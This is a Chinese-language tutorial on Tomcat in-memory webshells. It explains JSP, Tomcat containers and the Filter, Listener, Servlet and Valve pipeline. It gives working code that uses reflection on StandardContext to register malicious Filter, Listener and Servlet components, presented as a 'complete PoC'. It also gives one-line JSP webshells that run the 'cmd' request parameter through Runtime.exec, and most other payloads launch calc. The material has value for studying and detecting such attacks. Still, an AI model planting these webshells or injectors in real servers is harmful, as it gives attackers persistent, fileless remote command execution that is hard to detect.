Tomcat内存马

JSP木马

1
2
3
JSP是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术。
JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。
当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译成一个java文件,并将其编译为.class文件。JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页

文件格式如下,这里也有点像html等前端语言

1
<% 代码逻辑 %>

这里也等价于xml语言中的

1
2
3
<jsp:scriptlet>
代码片段
</jsp:scriptlet>

一个简单的用法

1
2
3
4
5
6
7
8
9
10
11
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<h2>test1</h2>
<% String name="hello world";%>
<% out.println(name); %>
</body>
</html>

JSP指令用来设置与整个JSP页面相关的属性。下面有三种JSP指令

指令描述<%@ page … %>定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等<%@ include … %>包含其他文件<%@ taglib … %>引入标签库的定义,可以是自定义标签

JSP的注释

1
<%-- 注释内容 --%>

JSP内置对象

1
2
3
4
5
JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下
由 JSP 规范提供,不用编写者实例化
通过 Web 容器实现和管理
所有 JSP 页面均可使用
只有在脚本元素的表达式或代码段中才能使用

对象类型描述requestjavax.servlet.http.HttpServletRequest获取用户请求信息responsejavax.servlet.http.HttpServletResponse响应客户端请求,并将处理信息返回到客户端responsejavax.servlet.jsp.JspWriter输出内容到 HTML 中sessionjavax.servlet.http.HttpSession用来保存用户信息applicationjavax.servlet.ServletContext所有用户共享信息configjavax.servlet.ServletConfig这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数pageContextjavax.servlet.jsp.PageContextJSP 的页面容器,用于访问 page、request、application 和 session 的属性pagejavax.servlet.jsp.HttpJspPage类似于 Java 类的 this 关键字,表示当前 JSP 页面exceptionjava.lang.Throwable该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象

下面一个简单的一句话木马例子,但是是无回显的

1
2
3
4
5
6
<%
String cmd = request.getParameter("cmd");
if (cmd!=null){
Runtime.getRuntime().exec(cmd);
}
%>

下面是有回显的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String line;
PrintWriter printWriter = response.getWriter();
printWriter.write("<pre>");
while ((line = bufferedReader.readLine()) != null){
printWriter.println(line);
}
printWriter.write("</pre>");

}
%>

Tomcat框架学习

相关链接:https://goodapple.top/archives/1359

这里其实是javaweb的知识体系,在配置一个web项目时,一般多采用Tomcat来搭建,这里可以把Tomcat看成是Web服务器+Servlet容器

Tomcat能够通过Connector组件接收并解析HTTP请求,然后将一个ServletRequest对象发送给Container处理。容器处理完之后会将响应封装成ServletRespone返回给Connector,然后Connector再将ServletRespone解析为HTTP响应文本格式发送给客户端,至此Tomcat就完成了一次网络通信

下面是Tomcat框架图:

由整个图可以看出来Tomcat Server的组成可以分为3个,Service Connector Container

1
2
3
4
5
6
/*
简单说明一下
Service的作用:为连接器与引擎的桥梁,作为中间层,将多个连接器与一个引擎绑定在一起,确保请求能够正确地从连接器传递到引擎
Connector的作用:用于连接客户端与Tomcat核心组键Container的交互
Container的作用:它是Tomcat核心,主要负责管理Servlet的生命周期、处理请求和响应等关键功能
*/

在Container里面包含四种子容器:Engine、Host、Context和Wrapper

1
2
3
4
Engine: 可以看成是容器对外提供功能的入口,每个Engine是Host的集合,用于管理各个Host
Host: 可以看成一个虚拟主机,一个Tomcat可以支持多个虚拟主机。
Context: 又叫做上下文容器,我们可以将其看成一个Web应用,每个Host里面可以运行多个Web应用。同一个Host里面不同的Context,其contextPath必须不同,默认Context的contextPath为空格(“”)或斜杠(/)
Wrapper: 是对Servlet的抽象和包装,每个Context可以有多个Wrapper,用于支持不同的Servlet每个Wrapper实例表示一个具体的Servlet定义,Wrapper主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收

JavaWeb三大组件

这里简单介绍一下

Servlet

Servlet是用来处理客户端请求的动态资源,当Tomcat接收到来自客户端的请求时,会将其解析成RequestSerclet对象并发送到对应的Servlet上进行处理

1
2
3
4
5
6
Servlet的生命周期分为如下五个阶段
加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象
处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求
销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作

Filter

Filter用于拦截用户请求以及服务端的响应,能够在拦截之后对请求和响应做出相应的修改。Filter不是Servlet,不能直接访问,它能够对于Web应用中的资源(Servlet、JSP、静态页面等)做出拦截,从而实现一些相应的功能。下面是Filter在Server中的调用流程图

Listener

Listener是一个实现了特定接口的Java程序,用于监听一个方法或者属性,当被监听的方法被调用或者属性改变时,就会自动执行某个方法。

1
2
3
4
下面有几个与Listener相关的概念
事件:某个方法被调用,或者属性的改变
事件源:被监听的对象(如ServletContext、requset、方法等)
监听器:用于监听事件源,当发生事件时会触发监听器

监听器的分类

监听器一共有如下8种

事件源监听器描述ServletContextServletContextListener用于监听 ServletContext 对象的创建与销毁过程HttpSessionHttpSessionListener用于监听 HttpSession 对象的创建和销毁过程ServletRequestServletRequestListener用于监听 ServletRequest 对象的创建和销毁过程ServletContextServletContextAttributeListener用于监听 ServletContext 对象的属性新增、移除和替换HttpSessionHttpSessionAttributeListener用于监听 HttpSession 对象的属性新增、移除和替换ServletRequestServletRequestAttributeListener用于监听 HttpServletRequest 对象的属性新增、移除和替换HttpSessionHttpSessionBindingListener用于监听 JavaBean 对象绑定到 HttpSession 对象和从 HttpSession 对象解绑的事件HttpSessionHttpSessionActivationListener用于监听 HttpSession 中对象活化和钝化的过程

这里三者的加载顺序

1
Listener->Filter->Servlet

前置知识

根据Tomcat的三大件servlet、linstener、filter注入内存马,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上 调式时候需要导入对应tomcat版本的jar包

Tomcat内存马

相关链接:https://yyjccc.github.io/2024/03/06/Tomcat%E5%86%85%E5%AD%98%E9%A9%AC/

前置知识

根据Tomcat的三大件servlet、linstener、filter注入内存马,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上

依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.31</version>
</dependency>

根据上面的前置知识,这里可以分为Filter型,Listener型,Servlet型

Filter型

首先创建一个普通的Filter例子,前提是先创建一个对应的路由

Servlet服务

1
2
3
4
5
6
7
8
9
10
11
12
13
@WebServlet("/web1")
public class web1 extends HttpServlet {
@Override
public void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
String name = "this is web1";
PrintWriter out = res.getWriter();
out.println(name);
}
@Override
public void doPost(HttpServletRequest req, HttpServletResponse res)throws IOException{
doGet(req,res);
}
}

Filter服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@WebFilter("/web1")
public class Filter1 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

System.out.println("Filter 初始构造完成");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("执行了操作");
chain.doFilter(request,response);
}

@Override
public void destroy() {
System.out.println("filter 销毁");
}
}

下面进行调试看是如何创建Filter的,java内存马的原理和python内存马的原理差不多,python是注册一个新的路由,而java可以从多处处理,这里的Filter也是一方面,在访问路由时先访问我们构造好的恶意的Filter代码,这样就可以实现内存马的作用,所以在构造前需要先搞清楚它是如何实现的

在我们的chain中已经有了filter的身影,接下来我们就可以从这里出发往前找,先看看调用栈

下面来到ApplicationFilterChain#internalDoFilter方法里面

这里存在filter的创建且filter正是chain里面的,它是通过filterConfig#getFilter方法获取,一个filterConfig对应一个Filter,用于存储Filter的上下文信息,而filterConfig是从属性filters – ApplicationFilterConfig数组中获得,但是这里还不是来源,还得往前找

上一步就来到了StandardContextValve#invoke方法里面

ApplicationFilterFactory#createFilterChain方法很关键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();


String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {

...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
...

filterChain.addFilter(filterConfig);
return filterChain;
}
}

(这里去除了无用代码)

方法的上半段是创建一个ApplicationFilterChain对象用来放置一个个filterConfig对象,而filterConfig对象又对应一个filter对象的信息,下面分析它是如何获取filterConfig的

这里它先通过wrapper.getParent();获取StandardContext对象,下面通过StandardContext#findFilterMaps获取到各Filter的信息,及下图的filterMaps

最后就是通过遍历filterMaps通过filterMap来创建一个个filterConfig再通过filterChain.addFilter添加,这里就可以看看它是如何添加的

这里最后放到了filters数组里面,这里和后面的创建filter相照应,可以借前面的图看看

从这里也可以知道对于filter的调用是先创建的先被调用

其实到这里是从context中拿到一些属性进行操作,将filterConfig放入到FilterChain中 ,Filter内存马的思路就是,在放入FilterChain之前我们就通过反射赋值或者增加一些内容,然后tomcat就会自动的调用上面流程的代码,将恶意的filter放入filterChain,再进行调用调用其实如下图:

总之,注入内存马是在上游的操作,而上面分析的流程在下游部分

由于知道一个Filter对象是通过FilterConfig对象的信息来创建,这里就可以看看FilterConfig对象有哪些信息

这里filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息 上下文对象StandardContext实际上是包含FilterConfigs、FilterDefs和FilterMaps了这三者的

这里先看看filterDef,这里存在几个主要的属性值,filter,filterClass,filterName

然后就是context属性里面的filterConfigs与filterDefs都是HashMap类型,里面存放的信息相同

其次是里面的filterMaps属性值里面存放的东西,以array的形式存放各filter的路径映射信息,主要的属性为filterName、urlPatterns、charset

下面就是通过上述信息,来完成一个恶意的filter创建,具体如下:

1
2
3
4
5
获取StandardContext对象
创建恶意Filter
使用FilterDef对Filter进行封装,并添加必要的属性
创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中

获取StandardContext对象

StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。

Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。

1
2
3
4
5
6
7
8
9
10
11
12
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();

//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

恶意filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Filter2 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {
System.out.println("filter 销毁");
}
}

使用FilterDef封装**filter**

1
2
3
4
5
6
String name="eval";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new Filter2());
filterDef.setFilterClass(Filter2.class.getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);

创建filterMap

filterMap用于filter和路径的绑定

1
2
3
4
5
FilterMap filterMaps = new FilterMap();
filterMaps.setFilterName(name);
filterMaps.setDispatcher(DispatcherType.REQUEST.name());
filterMaps.addURLPattern("/bash");
standardContext.addFilterMap(filterMaps);

封装filterConfig及filterDef到filterConfigs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
<%!
public class Filter2 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {
System.out.println("filter 销毁");
}
}
%>
<%
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();

//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
<%
String name="eval";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new Filter2());
filterDef.setFilterClass(Filter2.class.getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);

FilterMap filterMaps = new FilterMap();
filterMaps.setFilterName(name);
filterMaps.setDispatcher(DispatcherType.REQUEST.name());
filterMaps.addURLPattern("/bash");
standardContext.addFilterMap(filterMaps);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);


%>

这里触发的条件就是先访问创建的jsp文件,如何就已经创建恶意的filter,或者直接创建一个恶意的路由,创建的方法也是一样,当然也可以注入恶意的Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
@WebServlet("/web1")
public class web1 extends HttpServlet {
@Override
public void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
ServletContext servletContext = req.getSession().getServletContext();
try {
Field appContext=servletContext.getClass().getDeclaredField("context");
appContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContext.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

String name="eval";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new test1());
filterDef.setFilterClass(test1.class.getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);

FilterMap filterMaps = new FilterMap();
filterMaps.setFilterName(name);
filterMaps.setDispatcher(DispatcherType.REQUEST.name());
filterMaps.addURLPattern("/bash");
standardContext.addFilterMap(filterMaps);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void doPost(HttpServletRequest req, HttpServletResponse res)throws IOException{
doGet(req,res);
}
}

Listener型

对于Listener型的分析和Filter型其实差不多,也是需要先知道Listener监听的创建流程,将恶意的Listener监听器创建,并且放入创建的容器即可

这里先介绍一下Listener的作用,它主要用来监听对象的创建、销毁、属性增删改,对于执行顺序的先后为Listener->Filter->Servlet依次执行

将监听的对象不同,大致可以分为下面的三类

1
2
3
ServletContextListener  //应用程序的启动和销毁事件
HttpSessionListener //这个的触发条件为创建session会话时,或者结束时
ServletRequestListener //用来监听ServletRequest对象,及访问web应用时

综合三种Listener监听器的触发条件,还是通过ServletRequestListener更为方便

下面先创建一个简单的ServletRequestListener类,来分析其创建的过程

1
2
3
4
5
6
7
8
9
10
11
@WebListener("/*")
public class eval implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre){
System.out.println("执行了Test requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("执行力Test requestInitialized");
}

}

每次刷新都会调用其requestDestroyed和requestInitialized方法

下面通过调试来获取创建时的调用栈,如下图所见

下面到达StandardContext#fireRequestInitEvent方法里面,开始回溯创建过程,这里看到listener是通过instance来获取,而instance是遍历instances数组,创建instances数组,instances数组是通过getApplicationEventListeners方法来获取,所以这里需要跟进getApplicationEventListeners方法来看看

但是跟进方法中这里就是直接返回了applicationEventListenersList数组

1
2
3
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}

下面就找有关applicationEventListenersList属性的东西,先是看到它是有关List类型

添加进applicationEventListenersList集合里面是通过StandardContext#addApplicationEventListener方法,这里就找到可以注入恶意listener的方法,因为在java中Context对象是全局共享的

下面就是获取StandardContext将恶意的listener注入,和上面注入Filter型一样,可以通过jsp,或者通过web路由来实现注入,但是这里还有其它方法来获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
<%
ServletRequestListener eval=new ServletRequestListener(){
public void requestDestroyed(ServletRequestEvent sre){
System.out.println("执行了Test requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("恶意内存马创建成功");
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
};
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
standardContext.addApplicationEventListener(eval);
%>

这里需要注意一点如果通过WebappClassLoaderBase的方式来获取StandardContext就需要通过当前环境下的特定的classloader方法,不然就无法强转为WebappClassLoaderBase,在Tomcat中可以正常通过WebappClassLoaderBase获取StandardContext就需要的是Tomcat的构造器WebappClassLoader,如果是URLClassLoader将无法正常加载,所以如果我们通过TemplatesImpl来动态注册一个listener时就无法成功

比如先创建一个恶意的类,构造方法就是注册内存马的语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class cmd {
public cmd(){
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletRequestListener eval=new ServletRequestListener(){
public void requestDestroyed(ServletRequestEvent sre){
System.out.println("执行了Test requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("恶意内存马创建成功");
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
};
standardContext.addApplicationEventListener(eval);
}

public static void main(String[] args) {
System.out.println("1");
}
}

创建一个web路由,如果按我们所想就应该在调用templates#getOutputProperties时,就可以加载cmd字节码并且进行实例化,从而生成恶意的listener,但是结果却没有实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@WebServlet("/aaa")
public class request extends HttpServlet {
@Override
public void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
String name = "this is web1";
PrintWriter out = res.getWriter();
out.println(name);
TemplatesImpl templates = new TemplatesImpl();
try {
Class templatesClass = templates.getClass();
Field name1 = templatesClass.getDeclaredField("_name");
name1.setAccessible(true);
name1.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/cmd.class"));
byte[][] codes={code};
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
bytecodes.set(templates,codes);
templates.getOutputProperties();
} catch (Exception e) {
}
}
@Override
public void doPost(HttpServletRequest req, HttpServletResponse res)throws IOException{
doGet(req,res);
}

}

通过下面调试获取其classloader,这里是ParallelWedappClassLoader,其父类为URLClassLoader方法,这里就导致一些在Tomcat的类无法正常被加载,导致注册失败

虽然这里无法正常的实现但是还有其它方法,不仅仅只有上述方法来获取StandardContext对象,比如可以通过遍历当前的进程来实现获取,最后获取StandardContext对象

Servlet**型**

先了解一下Servlet创建流程

1
2
3
4
5
6
7
/*
加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象
处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求
销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作
*/

这里可以知道如果想要注册一个恶意的servlet内存马,最好利用是通过service方法,因为它的触发条件为请求访问时调用,下面就先创建一个恶意的servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@WebServlet("/*")
public class service extends HttpServlet {
public void init(ServletConfig config) throws ServletException {
System.out.println("init 触发");
}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
String cmd = servletRequest.getParameter("cmd");
if(cmd!=null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
System.out.println("service 触发");
}
}

首先先明白一点,servlet是由上下文context创建wrapper包装,所以我们需要先了解wrapper的创建

在StandardContext#startInternal中,调用了fireLifecycleEvent()方法解析web.xml文件,我们跟进

来到fireLifecycleEvent方法里面

最终通过ContextConfig#webConfig()方法解析web.xml获取各种配置参数,里面通过调用configureContext方法来从context里面获取web.xml里面的信息,跟进去看

最后通过ContextConfig#addServletContainerInitializer来添加

下面是加载StandWrapper的过程分析

首先在StandardContext#startInternal方法里面通过findChildren()获取StandardWrapper类

下面通过loadOnStartUp()方法加载wrapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public boolean loadOnStartup(Container children[]) {

// Collect "load on startup" servlets that need to be initialized
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
ArrayList<Wrapper> list = map.get(key);
if (list == null) {
list = new ArrayList<>();
map.put(key, list);
}
list.add(wrapper);
}

// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
// NOTE: load errors (including a servlet that throws
// UnavailableException from the init() method) are NOT
// fatal to application startup
// unless failCtxIfServletStartFails="true" is specified
if(getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;

}

在里面添加了一个if判断,其中就是对于wrapper的loadOnStartup进行判断,只有loadOnStartup大于0才可以继续往下进行加载wrapper

这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中,所以这里需要手动的修改loadOnStartup,使其能加载到内存部分

注册动态的Servlet

1
2
3
4
5
6
7
8
获取StandardContext对象
编写恶意Servlet
通过StandardContext.createWrapper()创建StandardWrapper对象
设置StandardWrapper对象的loadOnStartup属性值
设置StandardWrapper对象的ServletName属性值
设置StandardWrapper对象的ServletClass属性值
将StandardWrapper对象添加进StandardContext对象的children属性中
通过StandardContext.addServletMappingDecoded()添加对应的路径映射

创建StandardContext

1
2
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

下面创建恶意的Servlet类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
try{
Runtime.getRuntime().exec("calc");
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}

下面创建wrapper并且将其放置到standardContext

1
2
3
4
5
6
7
8
9
10
11
12
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);

完整的poc为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<%!
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res){
try{
Runtime.getRuntime().exec("calc");
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>

Valve型

对于tomcat的管道机制简单介绍

管道机制有一个核心的容器主键(Pipeline),它的作用是处理请求

对于从contianer中获取的请求体,需要通过使用Pipeline容器来一层一层的调用Valve闸门,这里主要通过Valve属性的invoke来对请求进行处理,并作出相应

具体流程如下图

下面就是对于Pipeline负责链调用流程的简单分析

首先看到Pipeline接口里面声明的方法,其中getNext()方法可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public interface Pipeline{

public Valve getBasic();

public void setBasic(Valve valve);

public void addValve(Valve valve);

public Valve[] getValves();

public void removeValve(Valve valve);

public void findNonAsyncValves(Set<String> result);
}

